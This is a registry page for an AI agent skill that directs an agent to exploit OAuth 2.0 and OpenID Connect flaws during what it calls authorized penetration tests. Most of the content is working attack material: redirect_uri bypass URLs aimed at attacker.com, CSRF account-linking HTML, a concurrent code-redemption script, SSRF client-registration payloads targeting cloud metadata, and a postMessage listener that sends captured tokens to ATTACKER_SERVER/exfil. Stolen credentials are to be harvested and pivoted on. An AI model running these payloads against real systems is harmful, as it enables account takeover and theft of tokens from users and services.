# OAUTH Attacks

> Exploit OAuth 2.0 and OpenID Connect vulnerabilities during authorized penetration testing.

- Skill: `blacklanternsecurity/oauth-attacks` (Agent Skill)
- Install (CLI): `npx skillmds@latest add blacklanternsecurity/oauth-attacks`
- Raw SKILL.md: https://api.skillmd.com/api/skills/blacklanternsecurity/oauth-attacks/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: blacklanternsecurity (https://skillmd.com/u/blacklanternsecurity)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/blacklanternsecurity/oauth-attacks

---


# OAuth 2.0 / OpenID Connect Attacks

You are helping a penetration tester exploit OAuth 2.0 and OpenID Connect
vulnerabilities. The target application uses OAuth for authentication (social
login, SSO) or authorization (API access, third-party integrations). The goal
is to steal authorization codes or tokens, bypass authentication, escalate
privileges, or achieve account takeover. All testing is under explicit written
authorization.

## Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:
- Print `[oauth-attacks] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
  descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

## State Management

Call `get_state_summary()` from the state MCP server to read current
engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)

Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)

## Web Interaction

OAuth flows are multi-step browser interactions — **browser tools are the
natural fit** for testing these flows end-to-end.

- **`browser_open`** for authorization endpoints — initiates the OAuth flow
- **`browser_fill`** / **`browser_click`** for consent screens, login prompts,
  and permission dialogs
- **`browser_cookies`** to extract tokens from redirect chains and inspect
  session state after OAuth completion
- **`browser_evaluate`** to inspect URL fragments for implicit grant tokens
  (e.g., `window.location.hash`), extract authorization codes from redirects
- **curl** for direct token endpoint requests, testing `redirect_uri`
  manipulation, and code/token exchange

## Prerequisites

- An application using OAuth 2.0 or OpenID Connect for authentication
- Burp Suite (to intercept and modify OAuth redirects)
- A domain you control for redirect URI testing
- A test account on the application (to capture legitimate OAuth flows)

## Step 1: Assess

Map the OAuth implementation by capturing a complete flow.

### Identify OAuth Endpoints

```bash
# Check for OpenID Connect discovery
curl -s "https://TARGET/.well-known/openid-configuration" | jq .
curl -s "https://TARGET/.well-known/oauth-authorization-server" | jq .

# Key endpoints to find:
# - Authorization endpoint: /authorize, /oauth/authorize, /auth
# - Token endpoint: /token, /oauth/token
# - JWKS endpoint: /jwks, /.well-known/jwks.json
# - Registration endpoint: /register (dynamic client registration)
# - Userinfo endpoint: /userinfo, /me
```

### Capture the Authorization Request

Intercept the login flow in Burp and note:

```
GET /authorize?
  client_id=APP_CLIENT_ID&
  response_type=code&           # or token, id_token
  redirect_uri=https://app.com/callback&
  scope=openid+email+profile&
  state=RANDOM_STATE&
  nonce=RANDOM_NONCE&           # OIDC only
  code_challenge=CHALLENGE&     # PKCE
  code_challenge_method=S256    # PKCE
```

Key parameters to note:
- **response_type**: `code` (auth code), `token` (implicit), `id_token` (OIDC)
- **redirect_uri**: the callback URL
- **state**: CSRF protection for OAuth flow
- **scope**: requested permissions
- **PKCE parameters**: code_challenge and method

### Identify the Grant Type

| Grant Type | Flow | Attack Surface |
|-----------|------|---------------|
| Authorization Code | Browser redirect → code → token exchange | Redirect URI, code theft, state bypass |
| Implicit | Browser redirect → token in fragment | Token exposure, no code exchange |
| PKCE | Auth code + code_verifier | PKCE downgrade, weak verifier |
| Client Credentials | Server-to-server, no user | Secret leakage |
| Password (ROPC) | Direct username/password → token | 2FA bypass |

## Step 2: Redirect URI Manipulation

The most common OAuth vulnerability — bypassing redirect_uri validation to
steal authorization codes or tokens.

### Basic Redirect to Attacker Domain

```
# Try arbitrary domain
https://IDP/authorize?...&redirect_uri=https://attacker.com/callback

# Try subdomain variants
https://IDP/authorize?...&redirect_uri=https://attacker.app.com/callback
https://IDP/authorize?...&redirect_uri=https://app.com.attacker.com/callback

# Try localhost
https://IDP/authorize?...&redirect_uri=https://localhost.attacker.com/callback
```

### Path Traversal

```
# Bypass directory-level checks
https://IDP/authorize?...&redirect_uri=https://app.com/callback/../attacker-page
https://IDP/authorize?...&redirect_uri=https://app.com/callback/..%2F..%2Fattacker
```

### Open Redirect Chain

If the app has an open redirect, use it to relay the code:

```
# App has open redirect at /redirect?url=
https://IDP/authorize?...&redirect_uri=https://app.com/redirect?url=https://attacker.com
```

The IdP validates `app.com`, the app redirects to `attacker.com` with the
code still in the URL.

### Parameter Pollution

```
# Multiple redirect_uri parameters
https://IDP/authorize?...&redirect_uri=https://app.com/callback&redirect_uri=https://attacker.com

# Redirect within redirect
https://IDP/authorize?...&redirect_uri=https://app.com/callback?next=https://attacker.com
```

### Special Characters

```
# Null byte
https://IDP/authorize?...&redirect_uri=https://app.com/callback%00.attacker.com

# At sign (userinfo bypass)
https://IDP/authorize?...&redirect_uri=https://app.com@attacker.com/callback

# Fragment
https://IDP/authorize?...&redirect_uri=https://app.com/callback%23.attacker.com

# Protocol-relative
https://IDP/authorize?...&redirect_uri=//attacker.com/callback
```

### Scope Bypass to Widen redirect_uri

Some IdPs relax redirect_uri validation for certain scopes:

```
# Invalid scope may change validation behavior
https://IDP/authorize?...&scope=invalid&redirect_uri=https://attacker.com
```

## Step 3: State Parameter Bypass

The state parameter prevents CSRF on the OAuth flow. Test if it's properly
validated.

### Missing State

```
# Remove state from authorization request
https://IDP/authorize?...&state=
# or omit entirely

# If the callback accepts the response without state validation,
# attacker can force victim to complete an OAuth flow with attacker's code
```

### State Not Validated

```
# Complete OAuth flow normally, capture the callback:
https://app.com/callback?code=AUTH_CODE&state=LEGIT_STATE

# Replay with modified state:
https://app.com/callback?code=AUTH_CODE&state=ANYTHING

# If accepted → state validation is broken
```

### CSRF via Missing State — Account Linking Attack

```html
<!-- Force victim to link attacker's OAuth account to their app account -->
<!-- 1. Attacker starts OAuth flow, captures callback URL with attacker's code -->
<!-- 2. Victim clicks this link (or auto-redirected) -->
<a href="https://app.com/callback?code=ATTACKER_CODE">Link Account</a>

<!-- If state isn't validated, victim's app account gets linked to
     attacker's OAuth identity. Attacker can now log in as victim. -->
```

## Step 4: Authorization Code Attacks

### Code Reuse

```bash
# Capture a valid authorization code
# Try redeeming it multiple times

# First redemption (should work)
curl -s -X POST "https://IDP/token" \
  -d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&redirect_uri=https://app.com/callback"

# Second redemption (should fail — if it works, codes are reusable)
curl -s -X POST "https://IDP/token" \
  -d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&redirect_uri=https://app.com/callback"
```

### Code Not Bound to Client

```bash
# Capture code from App A's flow
# Try redeeming with App B's credentials

curl -s -X POST "https://IDP/token" \
  -d "grant_type=authorization_code&code=APP_A_CODE&client_id=APP_B&client_secret=APP_B_SECRET&redirect_uri=https://app-b.com/callback"

# If accepted → audience binding broken
```

### Code Lifetime

```bash
# Capture code, wait, then redeem
# RFC 6749 recommends max 10 minutes

# Wait 15+ minutes
curl -s -X POST "https://IDP/token" \
  -d "grant_type=authorization_code&code=OLD_CODE&client_id=APP&redirect_uri=https://app.com/callback"

# If accepted → code lifetime too long
```

### Race Condition (Concurrent Redemption)

Send multiple token requests simultaneously with the same code:

```python
import requests
import threading

url = "https://IDP/token"
data = {
    "grant_type": "authorization_code",
    "code": "AUTH_CODE",
    "client_id": "APP",
    "client_secret": "SECRET",
    "redirect_uri": "https://app.com/callback"
}

results = []

def redeem():
    r = requests.post(url, data=data)
    results.append(r.json())

threads = [threading.Thread(target=redeem) for _ in range(20)]
for t in threads: t.start()
for t in threads: t.join()

tokens = [r for r in results if "access_token" in r]
print(f"[*] {len(tokens)} successful redemptions out of 20")
```

## Step 5: Token Leakage

### Implicit Flow Token in Fragment

```
# Implicit flow returns token in URL fragment
https://app.com/callback#access_token=TOKEN&token_type=Bearer&expires_in=3600

# Fragment is accessible via:
# - XSS on the callback page
# - Referer header if callback page loads external resources
# - Browser history
# - postMessage if callback uses it
```

### Referer Leakage

If the callback page loads external resources (images, scripts, analytics),
the URL (including code/token) may leak via Referer header.

```bash
# Check if callback page loads third-party resources
curl -s "https://app.com/callback?code=test" | \
  grep -oP 'src="https?://[^"]*"' | grep -v "app.com"
```

### Token in URL (Non-Fragment)

Some implementations pass tokens as query parameters instead of fragments:

```
# Bad: token in query string (logged by servers, proxies, analytics)
https://app.com/callback?access_token=TOKEN

# Check server logs, proxy logs, browser history
```

### postMessage Interception

If the callback uses postMessage to relay tokens:

```html
<script>
window.addEventListener('message', function(event) {
  // Capture tokens from postMessage
  if (event.data && (event.data.access_token || event.data.code)) {
    fetch('https://ATTACKER_SERVER/exfil', {
      method: 'POST',
      body: JSON.stringify(event.data)
    });
  }
});
</script>
<!-- Open the OAuth callback in a popup -->
<script>
var popup = window.open('https://IDP/authorize?...&response_mode=web_message');
</script>
```

## Step 6: OpenID Connect Attacks

### ID Token Manipulation

If the application validates ID tokens (JWTs) from the IdP:

```bash
# Decode the ID token
echo "eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ1c2VyMTIzIn0.sig" | \
  cut -d. -f2 | base64 -d 2>/dev/null | jq .

# Check for:
# - Algorithm: RS256, HS256, none
# - Claims: sub, email, email_verified, aud, iss
# - Signature validation
```

Escalate for algorithm confusion, alg:none, and key injection
attacks on ID tokens.

### Email Claim Abuse

Some IdPs allow users to set unverified email addresses:

```
# Attacker creates account at IdP with victim's email (unverified)
# Logs into target app via OAuth
# App trusts email claim → creates/links account for victim's email
# Attacker now controls victim's app account

# Check: does the app verify email_verified claim?
# Check: does the IdP enforce email verification?
```

### Nonce Bypass

```
# OIDC uses nonce to prevent token replay
# Test: omit nonce from authorization request
https://IDP/authorize?...&nonce=

# Test: reuse nonce across sessions
# If accepted → replay attacks possible
```

### Discovery Endpoint SSRF

If the IdP supports dynamic client registration:

```bash
curl -s -X POST "https://IDP/register" \
  -H "Content-Type: application/json" \
  -d '{
    "client_name": "Evil App",
    "redirect_uris": ["https://attacker.com/callback"],
    "logo_uri": "http://169.254.169.254/latest/meta-data/",
    "jwks_uri": "http://internal.server:8080/sensitive",
    "sector_identifier_uri": "http://192.168.1.1/admin"
  }'

# If the IdP fetches logo_uri, jwks_uri, or sector_identifier_uri → SSRF
```

## Step 7: PKCE Bypass

### PKCE Not Enforced

```bash
# Try redeeming code without code_verifier
curl -s -X POST "https://IDP/token" \
  -d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&redirect_uri=https://app.com/callback"

# If token returned without code_verifier → PKCE not enforced
# Stolen codes can be redeemed without the challenge
```

### Plain Method Downgrade

```
# Request with plain instead of S256
https://IDP/authorize?...&code_challenge=VERIFIER&code_challenge_method=plain

# Redeem with same value as both challenge and verifier
curl -s -X POST "https://IDP/token" \
  -d "...&code_verifier=VERIFIER"

# If S256 not enforced → attacker who sees the challenge can redeem the code
```

## Step 8: Scope and Permission Attacks

### Scope Escalation on Token Request

```bash
# Authorization was granted for scope=read
# Try requesting more at token endpoint
curl -s -X POST "https://IDP/token" \
  -d "grant_type=authorization_code&code=AUTH_CODE&client_id=APP&scope=read+write+admin&redirect_uri=https://app.com/callback"

# If token has expanded scope → scope escalation
```

### Token Refresh with Expanded Scope

```bash
# Refresh token and request additional scopes
curl -s -X POST "https://IDP/token" \
  -d "grant_type=refresh_token&refresh_token=REFRESH_TOKEN&scope=read+write+admin"
```

### Resource Owner Password Credentials (2FA Bypass)

```bash
# ROPC grant bypasses browser-based 2FA
curl -s -X POST "https://IDP/token" \
  -d "grant_type=password&username=USER&password=PASS&client_id=APP&client_secret=SECRET"

# If token returned → 2FA is bypassed entirely
```

## Step 9: Account Takeover Chains

### Pre-Authentication Account Linking

1. Attacker registers at the app with `victim@example.com` (no email verification)
2. Victim later clicks "Login with Google" (which has `victim@example.com`)
3. App links Google identity to existing account (attacker's)
4. Attacker has access to victim's linked data

### OAuth CSRF + Account Linking

1. Attacker initiates "Link GitHub" flow, captures callback with attacker's code
2. Victim visits attacker's page containing:
   ```html
   <img src="https://app.com/callback?code=ATTACKER_GITHUB_CODE" />
   ```
3. Victim's app account gets linked to attacker's GitHub
4. Attacker logs in via GitHub → accesses victim's account

### Redirect URI + Referer Chain

1. Find open redirect on the app: `https://app.com/go?url=https://attacker.com`
2. Use as redirect_uri: `https://IDP/authorize?...&redirect_uri=https://app.com/go?url=https://attacker.com`
3. IdP validates `app.com`, redirects to app with code
4. App's open redirect sends victim to `attacker.com` — code in Referer
5. Attacker redeems code → account takeover

## Step 10: Escalate or Pivot

After confirming OAuth vulnerabilities:

- **Authorization code stolen**: Redeem for access token, access victim's API
  resources. Check what scopes the token grants.
- **Access token obtained**: Test token against all API endpoints. Route to
  **idor** if the API has broken object-level authorization.
- **Account takeover achieved**: Document full chain. Check for admin
  escalation via role manipulation.
- **ID token forged or manipulated**: Escalate for deeper
  JWT exploitation (alg:none, key confusion, claim tampering).
- **SSRF via dynamic registration**: Escalate for cloud metadata
  and internal network exploitation.
- **Client secret found**: Test against other OAuth-enabled services that
  use the same IdP.
- **2FA bypass via ROPC**: Document as separate finding — complete auth
  bypass.

Report in your return summary: any new credentials, tokens, access, vulns,
or pivot paths discovered.

When routing, pass along: OAuth flow type, IdP identified, working bypass
technique, tokens obtained.

## OPSEC Notes

- OAuth testing involves URL parameter manipulation — minimal server-side
  detection surface
- Redirect URI probing generates 302 redirects visible in IdP logs
- Authorization code redemption attempts are logged at the token endpoint
- Dynamic client registration may be monitored
- Account linking operations are visible in application audit logs
- ROPC grant attempts may trigger brute-force detection

## Troubleshooting

### Redirect URI Strictly Validated

- Try path traversal: `/callback/../other-page`
- Try query parameter append: `/callback?param=attacker.com`
- Try fragment: `/callback#@attacker.com`
- Look for open redirect on the same domain to chain
- Check if alternate API versions have weaker validation
- Try different registered redirect URIs (some apps have multiple)

### All Tokens Are Short-Lived

- Focus on authorization code theft (codes exchanged for tokens server-side)
- Check if refresh tokens are issued (longer-lived)
- Test token reuse across different client applications
- Check if token revocation is properly implemented

### PKCE Enforced and Properly Implemented

- PKCE is designed to prevent code interception — this defense is working
- Focus on other attack vectors: redirect URI bypass, state bypass, token
  leakage, account linking flaws
- Check if the code_verifier has sufficient entropy

### IdP Requires Exact redirect_uri Match

- This is correct implementation — exact match is the strongest defense
- Focus on: state bypass, account linking, scope escalation, token leakage
- Look for other OAuth clients on the same IdP with weaker redirect_uri
  validation

### Can't Register Dynamic Clients

- Test with existing client_id values found in source code, mobile apps,
  or public documentation
- Check for client_id enumeration
- Use known client_ids from the IdP's developer portal

